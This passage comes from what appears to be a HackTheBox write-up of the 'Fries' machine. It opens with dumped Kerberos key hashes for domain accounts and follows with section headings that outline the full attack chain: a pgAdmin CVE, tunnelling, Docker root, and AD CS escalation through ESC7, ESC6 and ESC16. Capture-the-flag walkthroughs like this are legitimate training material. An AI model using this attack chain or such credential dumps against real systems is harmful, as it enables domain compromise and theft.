DC01$:aes256-cts-hmac-sha1-96:527b23aa1d7843b4395fa230a2a82d8ff832ef3ce4d1c7353e07afbf7c0eaf9b
DC01$:aes128-cts-hmac-sha1-96:d099bfdc66902ba48478afd138713802
DC01$:des-cbc-md5:5bceda290b927501
gMSA_CA_prod$:aes256-cts-hmac-sha1-96:ed5ace86edc26a17bac9a5c1b46e568d5d38bbeac6f9b01ed5051369fea5acd6
gMSA_CA_prod$:aes128-cts-hmac-sha1-96:1f0b4c16eb87c035ea73533779499822
gMSA_CA_prod$:des-cbc-md5:d013047c574a02a8
FRIES.HTB\WEB$:aes256-cts-hmac-sha1-96:c2f611ea95c0890050a5025a0421faa8efee4d525dfabbeb14c25d456a770989
FRIES.HTB\WEB$:aes128-cts-hmac-sha1-96:8a735f6c676faf8c27fef46fe7209a81
FRIES.HTB\WEB$:des-cbc-md5:80c88037f7a8c757
[*] Cleaning up... 
❯

]]>

Shell-via-Sql on sckull

HackTheBox - Fries

Machine Information: Fries

Recon

nmap

Service Access

Web Site

Directory Brute Forcing

HTTPS Web Site

Subdomain Discovery

code.fries.htb

Repository

db-mgmt05.fries.htb

Databases

Postgres Host

pgAdmin Host

CVE-2025-2945 - Metasploit

Database

Tunneling - Ligolo-ng

Host Discovery

Recon

NFS

Files

User - svc

Docker Access

Port Forwarding

root via Docker - Host Linux

Pwm Credentials

Crack The Hash

PWM Access

LDAP Creds

Bloodhound

Users

Remote Managmenet Users

Svc_infra

Infra Managers

Service Account Managers

OU Restricted Admins

User - gMSA_CA_prod$

Privesc - ESC7 + ESC6 + ESC16

Enable ESC6 + ESC16

ESC6 + ESC16

Shell

Loot